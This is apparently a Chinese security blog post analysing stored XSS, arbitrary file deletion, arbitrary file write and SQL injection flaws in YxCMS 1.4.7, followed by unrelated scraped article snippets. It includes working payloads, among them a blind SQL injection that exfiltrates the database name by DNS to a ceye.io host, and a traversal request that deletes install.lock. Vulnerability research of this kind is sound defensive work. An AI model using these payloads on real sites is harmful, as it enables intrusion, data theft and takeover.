i春秋作家:F0rmat

原文来自:YxCMS 1.4.7 最新版漏洞分析

0x01前言

很感谢关注我专辑的表哥,我会坚持写下去的,最近会慢一点,一月四篇是正常的。

在先知看到的,大部分都是后台漏洞,部分厂商对于后台的漏洞都不认可,因为厂商觉得能进入后台这些漏洞都不是漏洞。最恐怖的是厂商否认了漏洞存在,然后偷偷的去修复。

0x02 安装程序

具体的安装和使用的详细可以上官网查看https://www.kancloud.cn/yongheng/yxcms

0x03 前台XSS

1.漏洞复现

  • 打开链接http://sb.com/index.php?r=default/column/index&col=guestbook
    输入payload:<svg/onload=alert(1)>
  • 然后登陆后台,查看审核

    点击编辑

    2.漏洞分析

  • 前台的文件源码protected/apps/default/controller/columnController.php

    public function index()
    {
        $ename=in($_GET['col']);
        if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
        $sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
        $path=$sortinfo['path'].','.$sortinfo['id'];
        $deep=$sortinfo['deep']+1;
        $this->col=$ename;
        switch ($sortinfo['type']) {
            case 1://文章
                $this->newslist($sortinfo,$path,$deep);
                break;
            case 2://图集
                $this->photolist($sortinfo,$path,$deep);
                break;
            case 3://单页
                $this->page($sortinfo,$path,$deep);
                break;
            case 4://应用             break;
            case 5://自定义             break;
            case 6://表单
                $this->extend($sortinfo,$path,$deep);
                break;
            default:
                throw new Exception('未知的栏目类型~', 404);
                break;
        }
    }   

  • 后台的文件源码protected/apps/admin/controller/extendfieldController.php
    public function mesedit()
    {
        $tableid=intval($_GET['tabid']);
        if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
        $id=intval($_GET['id']);//信息id
        if(empty($tableid) || empty($id) ) $this->error('参数错误~');
        $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
        if(empty($tableinfo)) $this->error('自定义表不存在~');
        if (!$this->isPost()) {
           $info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
           $this->info=$info;
           $this->tableid=$tableid;
           $this->id=$id;
           $this->tableinfo=$tableinfo;
           $this->display();
        }else{
           for($i=1;$i<count($tableinfo);$i++){
            if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
              $data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
            else
              $data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
           }
           if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
           else $this->error('信息修改失败~');
         }
    }

    中间没什么过滤,具体可以看松哥的一篇文章:https://www.hackersb.cn/hacker/85.html

    0x04 任意文件删除

    1.漏洞复现

  • 需要先登录后台,然后访问之后会显示缩略图不存在:
    Payload:http://sb.com/index.php?r=admin/photo/delpic
    POST:picname=../../protected/apps/install/install.lock
  • 然后访问网站首页就会自动转到安装的页面http://sb.com/index.php
  • 看到目录下的install.lock文件已经被删除了

    2.漏洞分析

  • 漏洞文件:protected/apps/admin/controller/photoController.php,在第355行的delpic()函数,可以看到$picname接收POST过来的值,然后$path等于文件开头定义的静态变量
    static protected $uploadpath='';//图片上传路径
    没有对传入的值进行任何的过滤,使用函数file_exists()判断一下文件是否存在就给unlink执行删除文件了。
    public function delpic()
    {
        if(empty($_POST['picname'])) $this->error('参数错误~');
        $picname=$_POST['picname'];
        $path=$this->uploadpath;
        if(file_exists($path.$picname))
          @unlink($path.$picname);
        else{echo '图片不存在~';return;}
        if(file_exists($path.'thumb_'.$picname))
           @unlink($path.'thumb_'.$picname);
        else {echo '缩略图不存在~';return;}
        echo '原图以及缩略图删除成功~';
    }

0x05 任意文件写入

1.漏洞复现

    • 打开地址http://sb.com/index.php?r=admin/set/tpadd&Mname=default
    • 打开我们的文件监控软件FolderChangesView,输入我们的程序路径D:\phpStudy\PHPTutorial\WWW\YXcms
    • 然后写shell.php文件名,写入我们的代码。
    • 然后会在\protected\apps\default\view\default下面生成我们写入的文件。

      2.漏洞分析

    • 漏洞文件protected/apps/admin/controller/setController.php的140行,$tpfile接收到GET传过来的值,如果为空的话就会报非法操作。传过来的URL是admin/set/tpadd&Mname=default,所以$tpfile就是default
    • 再来下是检测是否有POST的值,接受到POST过来的filename,用trim去掉两边的空格。接收到POST过来的code,用stripcslashes反转义。
    • $filepath=$templepath.$filename.'.php'这一句是路径和文件的拼接,然后下面检测路径是否存在。
    • 最后没有过滤任何的危险函数就传给file_put_contents函数,写入网站的目录。

      public function tpadd()
      {
         $tpfile=$_GET['Mname'];
         if(empty($tpfile)) $this->error('非法操作~');
         $templepath=BASE_PATH . $this->tpath.$tpfile.'/';
         if($this->isPost()){
           $filename=trim($_POST['filename']);
           $code=stripcslashes($_POST['code']);
           if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
           $filepath=$templepath.$filename.'.php';
           if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
           try{
              file_put_contents($filepath, $code);
            } catch(Exception $e) {
              $this->error('模板文件创建失败!');
            }
            $this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));
         }else{
           $this->tpfile=$tpfile;
           $this->display();    }
      }

      0x06 SQL注入

      1.漏洞复现

      这个盲注可以用ceye.io和python脚本跑,我之前的文章也有写到。
      http://sb.com/index.php?r=admin/fragment/index
      payload:1 and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1))--

    • 点击删除

      然后用burp截获数据,修改内容加上我们的payload,用原文的payload后面+会报错

      然后进入http://ceye.io/records/dns 查看我们的数据

      2.漏洞分析

    • 查看漏洞文件protected/apps/admin/controller/fragmentController.php的第63行
      public function del()
      {
          if(!$this->isPost()){
              $id=intval($_GET['id']);
              if(empty($id)) $this->error('您没有选择~');
              if(model('fragment')->delete("id='$id'"))
              echo 1;
              else echo '删除失败~';
          }else{
              if(empty($_POST['delid'])) $this->error('您没有选择~');
              $delid=implode(',',$_POST['delid']);
              if(model('fragment')->delete('id in ('.$delid.')'))
              $this->success('删除成功',url('fragment/index'));
          }
      }

    • 我们跟if(model('fragment')->delete("id='$id'")),它会先到protected/core.php文件里面的model
      function model($model){
      static $objArray = array();
      $className = $model . 'Model';
      if( !is_object($objArray[$className]) ){
          if( !class_exists($className) ) {
              throw new Exception(config('_APP_NAME'). '/' . $className . '.php 模型类不存在');
          }
          $objArray[$className] = new $className();
      }
      return $objArray[$className];
      }

    • 然后到protected/apps/admin/model/fragmentModel.php
      <?php
      class fragmentModel extends baseModel{
      protected $table = 'fragment';
      }

    • 继续protected/base/model/baseModel.php
      <?php
      class baseModel extends model{
      protected $prefix='';
      public function __construct( $database= 'DB',$force = false ){
          parent::__construct();
          $this->prefix=config('DB_PREFIX');
      }
      }

    • 再来到最底层的数据库操作类protected/base/model/model.php的第45行
      public function delete($condition){
      return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
      }

      这个delete()是从哪里来的,我们来看第十三行的代码,创建了一个对象cpModel

      static public function connect($config, $force=false){
          static $model = NULL;
          if( $force==true || empty($model) ){
              $model = new cpModel($config);
          }
          return $model;
      }

    • 漏洞文件在protected/include/core/cpModel.class.php,

      public function delete() {
          $table = $this->options['table'];    //当前表
          $where = $this->_parseCondition();   //条件
          if ( empty($where) ) return false; //删除条件为空时,则返回false,避免数据不小心被全部删除     $this->sql = "DELETE FROM $table $where";
          $query = $this->db->execute($this->sql);
          return $this->db->affectedRows();
      }

      这里用到了一个方法_parseCondition()

      private function _parseCondition() {
          $condition = $this->db->parseCondition($this->options);
          $this->options['where'] = '';
          $this->options['group'] = '';
          $this->options['having'] = '';
          $this->options['order'] = '';
          $this->options['limit'] = '';
          $this->options['field'] = '*';      
          return $condition;      
      }
      }

      这个函数是在protected/include/core/db/cpMysql.class.php的128行

      public function parseCondition($options) {
          $condition = "";
          if(!empty($options['where'])) {
              $condition = " WHERE ";
              if(is_string($options['where'])) {
                  $condition .= $options['where'];
              } else if(is_array($options['where'])) {
                      foreach($options['where'] as $key => $value) {
                           $condition .= " `$key` = " . $this->escape($value) . " AND ";
                      }
                      $condition = substr($condition, 0,-4);  
              } else {
                  $condition = "";
              }
          }     if( !empty($options['group']) && is_string($options['group']) ) {
              $condition .= " GROUP BY " . $options['group'];
          }
          if( !empty($options['having']) && is_string($options['having']) ) {
              $condition .= " HAVING " .  $options['having'];
          }
          if( !empty($options['order']) && is_string($options['order']) ) {
              $condition .= " ORDER BY " .  $options['order'];
          }
          if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
              $condition .= " LIMIT " .  $options['limit'];
          }
          if( empty($condition) ) return "";
          return $condition;
      }

      里面有一个行数来过滤escape,我们找到74行的这个函数定义

      public function escape($value) {
          if( isset($this->_readLink) ) {
              $link = $this->_readLink;
          } elseif( isset($this->_writeLink) ) {
              $link = $this->_writeLink;
          } else {
              $link = $this->_getReadLink();
          }     if( is_array($value) ) {
             return array_map(array($this, 'escape'), $value);
          } else {
             if( get_magic_quotes_gpc() ) {
                 $value = stripslashes($value);
             }
              return  "'" . mysql_real_escape_string($value, $link) . "'";
          }
      }

      不过这个函数有一句is_array如果是数组才会执行下面的过滤,如果不是的话就正常执行下去,没有任何sql的过滤就造成了注入漏洞。

      0x07 参考

      程序下载:https://www.lanzous.com/i1w4bsb
      https://xz.aliyun.com/t/2734
      https://bbs.ichunqiu.com/thread-22002-1-1.html
      http://ceye.io

    • 大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~

YxCMS 1.4.7 最新版漏洞分析的更多相关文章

  1. 「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

    这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能. 注:篇幅较长,阅读用时约7分钟. YXcms是 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. ECShop全系列版本远程代码执行高危漏洞分析+实战提权

    漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...

  4. Zabbix 漏洞分析

    之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...

  5. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  6. CVE-2016-0143 漏洞分析(2016.4)

    CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...

  7. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  8. CVE-2014-4115漏洞分析(2014.11)

    CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...

  9. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

随机推荐

  1. java的post请求

    public static String sendPost(String url,Map<String, String> packageParams){ //packageParams={ ...

  2. webpack 模块方法

    1. webpack的import和export不需要引入babel 其他ES6语法需要引入babel 2. import引入export导出的模块 3. import()模块分离  低版本浏览器想使 ...

  3. Kubernetes集群升级(kubeadm升级方式)

    1.升级前的版本确认(相同的大版本号下的小版本升级还是跨版本升级) 例如:从1.12.0升级到1.12.7 或者 从1.12.7升级到1.13.0 2.配置kubernetes安装源(已配置kuber ...

  4. MVC Request生命周期(综合总结)

    当用户在浏览器输入一个URL地址后,浏览器会发送一个请求到服务器.这时候在服务器上第一个负责处理请求的是IIS.然后IIS再根据请求的URL扩展名将请求分发给不同的处理程序处理. 流程如下: 当请求一 ...

  5. angular使用sass的scss语法

    一.现象 为了简写样式 二.解决 1.安装sass ,利用npm 安装(npm工具如果没有,请先自行安装好) (1).npm install node-sass --save-dev (2).npm ...

  6. 一个简单地template模板

    之前的项目中用到了artTemplate模板,感觉挺有意思,于是查看相关资料,自己动手写了个简单地template模板插件.虽然会有一些不足,但也是自己的一番心血.主体代码如下 /* * 一个简单地t ...

  7. JS学习记录------JS基本指令

    对未来的恐慌,和想成为一名自由开发的梦想.让我觉得应该点亮一个新的技能:WEB前端开发. 重新学习JS以及jQuery,让我在日常code的过程中可以更得心应手,毕竟,我爱代码. 这篇文章主要记录的内 ...

  8. Mad Libs游戏

    一. 简单的输入输出 输入代码 name1=input('请输入姓名:') name2=input('请输入一个句子:') name3=input('请输入一个地点:') name4=input('请 ...

  9. oracle的部分增删查改

    1. 创建表空间 create tablespace (demo)表名 logging datafile( 表空间存放的位置)  ‘D:\app\Administrator\oradata\orcl\ ...

  10. Python之路(第三十四篇) 网络编程:验证客户端合法性

    一.验证客户端合法性 如果你想在分布式系统中实现一个简单的客户端链接认证功能,又不像SSL那么复杂,那么利用hmac+加盐的方式来实现. 客户端验证的总的思路是将服务端随机产生的指定位数的字节发送到客 ...